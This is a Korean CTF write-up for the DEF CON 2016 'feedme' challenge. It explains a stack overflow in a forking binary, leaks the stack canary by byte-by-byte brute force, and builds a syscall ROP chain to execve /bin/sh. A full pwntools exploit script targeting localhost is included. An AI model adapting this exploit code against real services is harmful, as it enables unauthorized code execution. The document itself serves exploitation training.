Pwnable/write up
[Defcon 2016]feedme
xxvd
2018. 8. 27. 05:52
static linking + strip 이어서 분석이 힘들었습니다. ida로 string 검색해서 문자열 따라가면서 취약한 함수를 찾았음
처음 문자 하나를 받고, 그 크기만큼 입력받는데, 입력받는 문자열의 크기가 0x2c여서 간단하게 bof가 나는데 카나리가 있습니다. 그리고 fork로 자식프로세스를 생성 한 후 거기서 bof가 나는 함수를 실행하기 때문에 canary는 매번 같습니다. 근데 fork를 800번 하므로 1byte씩 브포하면 릭 할 수 있습니다. 그렇게 canary 릭 하고, eip 조작이 가능해지면 syscall 가젯 ( pop eax, pop edx,ecx,eax, int 0x80)을 이용하여 read로 bss에 /bin/sh 문자열을 받고, execve를 콜 해서 그 부분을 실행하면 됩니다. 아 그리고 /bin/sh만 넣어줬더니 계속 쉘이 안따여서 /bin/sh\x00 으로 주니까 됐습니다.
카나리 브포로 릭한건 처음이라 신기 ㅋ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | from pwn import * p = remote('localhost','8888') e = ELF('./feedme') p.recvuntil("FEED ME!\n") INT_0x80 = 0x0806fa20 POP_EAX_RET = 0x080e6a5c POP_EDX_ECX_EBX_RET = 0x0806f370 cmd = '/bin/sh\x00' canary="" for i in range(0,4): for j in range(0x00,0xff): length=32+len(canary)+1 payload=chr(length) payload+="A"*32 payload+=canary payload+=chr(j) p.send(payload) recv = p.recvuntil("FEED ME!") if "YUM" in recv: canary+=chr(j) print "Found canary's %d byte is 0x%02x" % (i+1,j) break payload="A"*32 payload+=canary payload+="A"*12 payload+=p32(POP_EAX_RET) #read payload+=p32(3) payload+=p32(POP_EDX_ECX_EBX_RET) #read's arguments payload+=p32(8) payload+=p32(e.bss()) payload+=p32(0) payload+=p32(INT_0x80) payload+=p32(POP_EAX_RET) #execve payload+=p32(11) payload+=p32(POP_EDX_ECX_EBX_RET) #execve's arguments payload+=p32(0) payload+=p32(0) payload+=p32(e.bss()) payload+=p32(INT_0x80) p.send(chr(len(payload))) p.send(payload) p.send(cmd) p.interactive() | cs |